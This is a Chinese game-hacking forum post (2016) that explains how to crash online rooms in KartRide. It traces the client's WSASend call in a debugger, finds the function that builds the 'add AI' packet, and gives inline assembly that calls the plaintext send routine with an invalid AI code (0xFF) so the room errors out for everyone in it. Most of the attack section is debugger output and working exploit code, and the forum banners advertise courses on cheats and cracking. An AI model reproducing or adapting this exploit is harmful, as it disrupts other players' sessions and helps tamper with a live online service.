乐易论坛-乐易网易语言培训教程火山PC视窗中文编程交流论坛

 找回密码
 立即注册

手机号登录

用手机号号登陆

微信登录

微信扫码,快速开始

QQ登录

用QQ账号登陆

办理VIP,定制软件,报名培训联系QQ[重磅]2024年实地培训高清培训目录火山PC版乐易模块使用教程
请牢记揰掵佲的QQ号1615457736 1615457734 其他都是骗子有了火山,易语言是否还有必要学习吗?易语言0基础入门课程
火山PC视窗0基础入门课程易语言外挂0基础入门课程火山PC视窗火山HOOK入门课程
易语言误报处理课程QQ空间POST课程2022年火山PC易语言POST系列课程
Android逆向Jeb动态调试0基础课程QQ邮箱网页POST课程WeChat个微Hook实战课程
百日Js加密分析实战课程(无密下载)QQ群POST课程h5游戏WebSocket逆向视频
JavaScript加密特训课程易语言汇编快速入门课程破解实战系列课程
[2024年]火山PC0基础x64位游戏内存辅助开发教程手游模拟器脚本0基础课程易语言加密防破解0基础入门课程
广告位招租联系QQ1615457736  
查看: 9782|回复: 1

[CE-OD] 某网游炸房call的开发与实现

[复制链接]

[CE-OD] 某网游炸房call的开发与实现

[复制链接]
已绑定手机
尘。
等级头衔

等級:顶级Vip

Rank: 14Rank: 14Rank: 14Rank: 14

积分成就
易币
贡献
主题
精华
金钱
积分
470
注册时间
2014-8-18
最后登录
1970-1-1

勋章墙

2016-1-27 16:48:24 | 显示全部楼层 |阅读模式
思路:
a.某游戏在房间中房主可以随意添加AI,AI的类型有多种,每种AI肯定有一个其专属的代码,如果房主在添加AI的时候添加的AI的代码并不存在,就有可能引起游戏出错
b.添加AI的流程肯定是 房主服务器同房间玩家,这样肯定就要调用发包的API,游戏常用的发包的api就是send和wsasend,不确定是调用哪个api的可以都下断就是了
bp WSASend然后点击添加电脑选手的按钮之后,游戏断下来了


调用堆栈:     主线程3@
地址       堆栈       函数过程 / 参数                       调用来自                      结构
0012EC6C   00C25B75   WS2_32.WSASend                        KartRide.00C25B6F
0012EC70   00000B04     Socket = 0xB04
0012EC74   0012EC94     pBuffers = 0012EC94
0012EC78   00000001     nBuffers = 0x1
0012EC7C   0012ECA0     pBytesSent = 0012ECA0
0012EC80   00000000     Flags = 0
0012EC84   0B585010     pOverlApped = 0B585010
0012EC88   00C25BF0     Callback = KartRide.00C25BF0
0012EC9C   00C26538   KartRide.00C25B10                     KartRide.00C26533
0012E*F4   009B6D36   KartRide.00C26280                     KartRide.009B6D31
0012E*F8   1B2D2828     Arg1 = 1B2D2828
这里看不到啥有用的信息,直接看堆栈窗口
0012E*F4   009B6D36  返回到 KartRide.009B6D36 来自 KartRide.00C26280
这里一般来说就是构造报文的函数了
几处关键的地方这里备注一下
009B6CB9    6A 18           push 0x18                                ; 传递整数型参数 0x18
009B6CBB    E8 EC971A00     call KartRide.00B604AC                   ; 申请内存
009B6CC0    83C4 04         add esp,0x4
009B6CC3    8945 F8         mov dword ptr ss:[ebp-0x8],eax
009B6CC6    837D F8 00      cmp dword ptr ss:[ebp-0x8],0x0
009B6CCA    74 0D           je short KartRide.009B6CD9               ; 判断内存是否申请失败
009B6CCC    8B4D F8         mov ecx,dword ptr ss:[ebp-0x8]
009B6C*F    E8 6C75AEFF     call KartRide.0049E240                   ; 给报文头部赋值,赋值一个保存报文名字的地址

009B6*F9    8948 10         mov dword ptr ds:[eax+0x10],ecx          ; 报文第一个参数赋值
009B6*FC    8D4D FC         lea ecx,dword ptr ss:[ebp-0x4]
009B6*FF    E8 DCB1F8FF     call KartRide.00941EE0
009B6D04    C640 14 00      mov byte ptr ds:[eax+0x14],0x0           ; 报文第二个参数赋值

009B6D18    52              push edx                                 ; 把存储报文地址的变量压入堆栈
009B6D19    E8 82C9BFFF     call KartRide.005B36A0
009B6D1E    B9 B617E300     mov ecx,KartRide.00E317B6
009B6D23    E8 18E6A6FF     call KartRide.00425340
009B6D28    8BC8            mov ecx,eax
009B6D2A    E8 919BBFFF     call KartRide.005B08C0
009B6D2F    8BC8            mov ecx,eax
009B6D31    E8 4AF52600     call KartRide.00C26280                   ; 调用封包函数
009B6D36    8B45 EC         mov eax,dword ptr ss:[ebp-0x14]
009B6D39    C680 90000000 0>mov byte ptr ds:[eax+0x90],0x1
009B6D40    8D4D FC         lea ecx,dword ptr ss:[ebp-0x4]
009B6D43    E8 28310A00     call KartRide.00A59E70                   ; 释放内存
根据申请内存之后的几行代码可以发现,报文的地址保存在[ebp-0x8]中,所以要找报文参数的来源直接找和[ebp-0x8]有关的代码就可以了
009B6CCC    8B4D F8         mov ecx,dword ptr ss:[ebp-0x8]
009B6C*F    E8 6C75AEFF     call KartRide.0049E240                   ; 给报文头部赋值,赋值一个保存报文名字的地址
009B6CEE    8D4D FC         lea ecx,dword ptr ss:[ebp-0x4]
009B6*F1    E8 EAB1F8FF     call KartRide.00941EE0
009B6*F6    8B4D 08         mov ecx,dword ptr ss:[ebp+0x8]
009B6*F9    8948 10         mov dword ptr ds:[eax+0x10],ecx          ; 报文第一个参数赋值
009B6*FC    8D4D FC         lea ecx,dword ptr ss:[ebp-0x4]
009B6*FF    E8 DCB1F8FF     call KartRide.00941EE0
009B6D04    C640 14 00      mov byte ptr ds:[eax+0x14],0x0           ; 报文第二个参数赋值
三个赋值处,至于009B6*FF    E8 DCB1F8FF     call KartRide.00941EE0这个call完全就是读内存的,lea ecx,dword ptr ss:[ebp-0x4]   call KartRide.00941EE0,这两行指令实际上就等效于mov ecx,dword ptr ss:[ebp-0x8]
断下两个给报文参数赋值的位置,找出参数就可以了
第一处ECX是添加AI的位置,第二个参数是一个定制0,我们要做的就是修改这里就能实现炸房了
代码编写
' _asm{
' sub esp,0x18;申请0x18字节的内存
' lea eax,[ebp-0x18]
' mov ecx,0x*FFD1C;给报文头部赋值(实际上是一个包名)
' mov [eax],ecx
' add eax,0x10
' mov ecx,0x7
' mov [eax],ecx;给报文的第一个参数赋值,PP的报文第一个参数基本都是由0x10开始的
' add eax,0x4
' mov ecx,0xFF
' mov [eax],ecx;给报文的第二个参数赋值
' lea eax,[ebp-0x18]
' push eax
' mov ecx,[0xE32120+0xc8];ecx传址
' mov eax,0xC26280
' call eax;调用明文发包CALL
' }
End

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

×

评分

参与人数 1易币 +10 金钱 +50 收起 理由
揰掵佲 + 10 + 50 乐易模块闪亮登场 https://www.leybc.com/thread-28

查看全部评分

回复

使用道具 举报

已绑定手机
已实名认证
揰掵佲
等级头衔

等級:乐易运营组

Rank: 20Rank: 20Rank: 20Rank: 20Rank: 20

积分成就
易币
贡献
主题
精华
金钱
积分
34338
注册时间
2014-8-2
最后登录
1970-1-1

勋章墙

2016-1-27 19:16:21 | 显示全部楼层
厉害
回复

使用道具 举报

如果懒得打字,请选择右侧内容快捷回复 提醒:以任何方式进行『恶意灌水』的行为,进行封号处理
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

关闭

热点推荐上一条 /5 下一条

QQ|网站地图|手机版|小黑屋|乐易论坛-乐易网 | 湘ICP备19007035号

拒绝任何人以任何形式在本论坛发表与中华人民共和国法律相抵触的言论,本站内容均为会员发表,并不代表乐易立场!

娄底市乐易网络科技有限公司声明:乐易原创培训课程版权均为我公司所有,未经许可,不得擅自翻录,盗版,破解本站课课程,我们将保留法律诉讼的权利

GMT+8, 2024-5-23 16:32 , Processed in 0.046440 second(s), 45 queries .

Powered by Discuz! X3.4

Copyright © Tencent Cloud.

快速回复 返回顶部 返回列表